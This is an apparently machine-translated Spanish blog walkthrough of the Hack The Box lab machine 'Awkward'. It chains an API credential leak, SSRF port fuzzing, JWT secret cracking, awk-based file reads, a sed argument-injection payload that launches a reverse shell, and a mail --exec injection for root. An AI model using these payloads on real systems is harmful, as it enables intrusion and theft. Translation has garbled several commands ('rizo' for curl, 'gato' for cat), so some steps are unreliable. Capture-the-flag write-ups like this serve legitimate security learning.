Tutorial de Hack The Box incómodo — [ Htb ]

Feb 22 2023
Reseña incómoda de Htb ¡Hola chicos! Bienvenido a mi blog, así que hoy vamos a discutir sobre la incómoda máquina hack-the-box que presenta una vulnerabilidad SSRF para obtener acceso al sistema de archivos interno, también existe una vulnerabilidad LFI para obtener el shell de usuario de esa máquina y al abusar el comando de correo podemos obtener el privilegio de root de ese sistema Enumeración: Primero, como de costumbre, comenzamos con nuestro escaneo nmap PASO 1: nmap -sC -sV 10.10.

Informe incómodo de Htb

¡Hola, chicos! Bienvenido a mi blog, así que hoy vamos a discutir sobre la incómoda máquina hack-the-box que presenta una vulnerabilidad SSRF para obtener acceso al sistema de archivos interno, también existe una vulnerabilidad LFI para obtener el shell de usuario de esa máquina y al abusar el comando de correo podemos obtener privilegios de root de ese sistema

Enumeración:

Primero, como de costumbre, comenzamos con nuestro escaneo nmap

PASO 1: nmap -sC -sV 10.10.11.185

Aquí está el puerto habitual y los servicios están abiertos.

Así que vamos a visitar el sitio web en el navegador que eshttp://10.10.11.185

Ahora será redirigido a lahttp://hat-valley.htb/así que agreguemos esto a su archivo /etc/hosts para acceder a ese sitio web

Ahora usted puede ser capaz de acceder a ese sitio web

A continuación, revisé el código fuente en busca de cosas interesantes.

Y encontré un archivo javascript interesante que app.js pero el código es enorme

Copiemos y peguemos ese código enhttps://codepen.io/pen/lo que hace mejor o abre vscode

Al analizar más a fondo este código, puede encontrar más token JWT que está codificado con base64, lo que no es interesante

Aquí necesitamos analizar todo el código app.js para obtener cosas interesantes

Analizando más a fondo este código he encontrado algunos directorios interesantes.

Primero encontré la ruta /hr

que redirigió a una página de inicio de sesión. Lo intenté con la contraseña de administrador predeterminada, pero no funciona.

Al ver el código anterior, puede notar que baseurl = API y que hay otros directorios all-leave y submit-leave en la API porque concatena baseurl + all-leve y baseurl + submit-leave, lo cual es interesante, así que ahora puede ser capaz de entender este código y la misma explicación para las siguientes dos imágenes, solo cambiará el directorio

Entonces, revisemos /api/staff-details

¡¡¡¡Oh!!!! Me arroja el error de token JWT Malformed creo que es un error de token asi que pasemos esto sin token

PASO 2: rizo -shttp://hat-valley.htb/api/staff-details| jq

Booomm!!! Ahora obtendrá el nombre de usuario y la contraseña de cada usuario disponible

Entonces, vamos a descifrar este hash usando john pero, desafortunadamente, el hash ha sido descifrado porhttps://hashes.com/en/tools/hash_identifieraquí fui a buscar el formato hash pero se rompió gracias

nombre de usuario = christopher.jones contraseña = chris123 para iniciar sesión con este nombre de usuario y contraseña

Booomm!!! Tenemos el tablero

Entonces, a continuación, hice clic en el botón Actualizar

Y capturé esa solicitud En eructo y encontré algo torcido con esa solicitud

Vulnerabilidad SSRF:

Porque hay un parámetro de URL que puede conducir al ataque SSRF

Usando esa vulnerabilidad SSRF podemos acceder al archivo interno de ese sistema que no está disponible públicamente

Consulte el siguiente artículo

Verifiqué conhttp://localhost:80cual eshttp://hat-vally.htb

Ahora puede confirmar que es un SSRF. ¡¡¡Hurra!!!

Entonces, fuzzemos el puerto para obtener acceso interno a ese sistema.

PASO 3: ffuf -u'http://hat-valley.htb/api/store-status?url="http://localhost:FUZZ"' -w /usr/share/seclists/Fuzzing/4-digits-0000–9999.txt -fs 0

Aquí encontré 3002 interesante, así que vamos a comprobarlo. pero obtienes la página en blanco

Dar comillas dobles en "http://localhost:3002"

Ahora tienes acceso a esa página interna

Inclusión de archivos locales:

Después de analizar esta página, encontré un punto final de API interesante que tiene una vulnerabilidad LFI

Al analizar más a fondo este código, encontré algo interesante en el comando AWK. Normalmente, la herramienta AWK Linux es un lenguaje de programación (ver en Google).

Y el nombre del cuadro tiene un sentido incómodo , pero personalmente creo que está disponible en la escalada de privilegios del usuario para rootear (consulte esto en Tryhackme Room)

Aquí puede notar que el comando awk pasa la variable de usuario que ha decodificado el token JWT de un usuario

Pero para abusar de esto, necesitamos la clave secreta porque al usar esa clave secreta podemos crear nuestro propio token para cualquier usuario.

BruteForceing la clave débil:

Mientras inicia sesión con el usuario de Christoper, puede ver el token en el eructo

Necesitamos descifrar este Token para Secrete Key usando John

Primero copie y pegue ese token JWT en el archivo

PASO 4: john JWT.txt — lista de palabras=rockyou.txt — formato=HMAC-SHA256

Booomm!!! Ahora puedes obtener la clave secreta

Ahora la firma está verificada

Primero buscamos el archivo /etc/passwd

Así que vamos a curvar ese punto final con este token JWT

PASO 5: rizohttp://hat-valley.htb/api/all-leave— encabezado “cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii
8nIC9ldGMvcGFzc3dkICciLCJpYXQiOjE2NzY5MDQ3Mjh9.9kHRYTuO1Oh0ykcKpTiNmCH8jeg4rL8J31 znekRdaaE”

Booomm!!!! Ahora listará el archivo /etc/passwd

Aquí tienes algunos usuarios como bean y Christine.

Y verificamos las claves ssh para ambos usuarios, pero no podemos obtener

Entonces, a continuación, buscamos el archivo .bashrc

A continuación, enrolle eso y obtendrá el archivo .bashrc

Al analizar más a fondo este archivo bash, puede notar que hay un archivo de respaldo que tiene sentido

Démosle esta ubicación de respaldo en la clave JWT

A continuación, enrolle este token con ese punto final

PASO 6: rizohttp://hat-valley.htb/api/all-leave— encabezado “Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cF9ob21lLnNoICciLCJpYXQiOjE2NzY5MDQ3Mjh9 .4LyhastbruMYsHH8UcKped_Pic7mjvSD2fSkVZWfC1w” — copia de seguridad de salida.sh

Ahora obtendrá ese archivo backup.sh y en ese archivo, podrá ver el archivo backup.tar

PASO 7: rizohttp://hat-valley.htb/api/all-leave— encabezado “Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cC9iZWFuX2JhY2t1cF9maW5hbC50YXIuZ3ogJ yIsImlhdCI6MTY3NjkwNDcyOH0.sE5i7Nx06DGh1uhK_nyMIhGn2bCt_nxoDDtu9P7ogk0” — salida bean_backup_final.tar.gz

A continuación, extraiga ese archivo y obtendrá el archivo de copia de seguridad de esa máquina.

Y también hay algunos archivos y directorios ocultos disponibles

PASO 8: ls -al

A continuación, abra el

PASO 9 : gato /.config/xpad/content-DS1ZS1

Aquí puede encontrar algunos bean creds para el inicio de sesión SSH

Indicador de usuario:

PASO 10: ssh [email protected]

PASO 11: gato usuario.txt

Boooommm!!! Ahora obtienes la marca de usuario de esa máquina.

Después de obtener el shell, verifiqué el abuso binario de sudo y linpeas, pero no funcionará.

A continuación, revisé el archivo de host en busca de un vhost o subdominio interesante

Así que agreguemos esto a nuestro archivo /etc/hosts para acceder a esa página web

al acceder a esa pagina pide usuario y contraseña

Así que revisé el archivo de configuración en nginx que es /etc/nginx y obtuve el nombre de usuario y la contraseña en el hash

pero probablemente no podré descifrar ese hash, así que usé credenciales SSH para iniciar sesión en esa aplicación

Nombre de usuario: admin Contraseña: 014mrbeanrules!#P

Booomm!!! Obtenemos acceso de inicio de sesión a esa aplicación y a la aplicación de compras

Así que fui a shop.php

Después de eso, revisé ese código en /var/www/store en busca de cosas interesantes.

En el código, encontré algo extraño en el comando Sed que puede conducir a la ejecución remota del código, pero no podemos explotar esto directamente en la aplicación web si ejecutamos el shell inverso, ¡muestra un carácter incorrecto detectado!

Entonces, para evitar esto, configuramos un shell inverso en esa máquina y ejecutamos ese archivo en esa aplicación

Primero, agregue cualquier producto al carrito

A continuación, echa un vistazo a Mycart, puedes ver ese producto

Y puede ver este carrito en esa máquina si se agrega a ese carrito

Entonces, nuestro plan es abusar del comando sed para obtener el shell inverso de esa máquina y podemos ejecutar el comando en el botón Eliminar si necesitamos más información sobre el abuso del comando SED en el siguiente artículo.

Primero, necesitamos un shell inverso simple de revshells.com

Y dar permiso de ejecución a ese archivo.

PASO 12: chmod 777 evilshell.sh

A continuación, configure su oyente en su máquina local

PASO 13: nc -lvp 9001

Primero, añade el producto al carrito.

A continuación, haga clic en el botón Eliminar y capture esa solicitud.

Y editar el parámetro del elemento

'+-e+"1e+/tmp/evilshell.sh"+/tmp/evilshell.sh+'

      
                

A continuación, verifiqué el proceso en la máquina del usuario.

PASO 14: ps -eaf

Aquí puede notar que inotifywait está monitoreando /var/www/private/leave_request, así que verifiquemos esto en www-data

Entonces, pasemos un argumento a ese archivo sobre lo que sucedió en ese proceso.

Y descubrí que ejecutar el comando de correo con privilegios de root

Entonces, pasemos el shell inverso en el archivo Leave_request.csv y ejecute el comando de correo con privilegios de root.

Primero, cree un shell inverso en la máquina del usuario

A continuación, configure su oyente en la máquina local

PASO 15: nc -lvp 9002

Después de eso, vaya a la máquina www-data y ejecute el siguiente comando

echo '" --exec="\!/tmp/evilshell.sh"' >> leave_requests.csv

¡¡¡Bummmmm!!! Ahora obtienes ese shell raíz de esa máquina

Espero que entiendas este artículo. Si te gusta mi artículo, aplaude y si te gusta mi trabajo, dona a mi examen OSCP.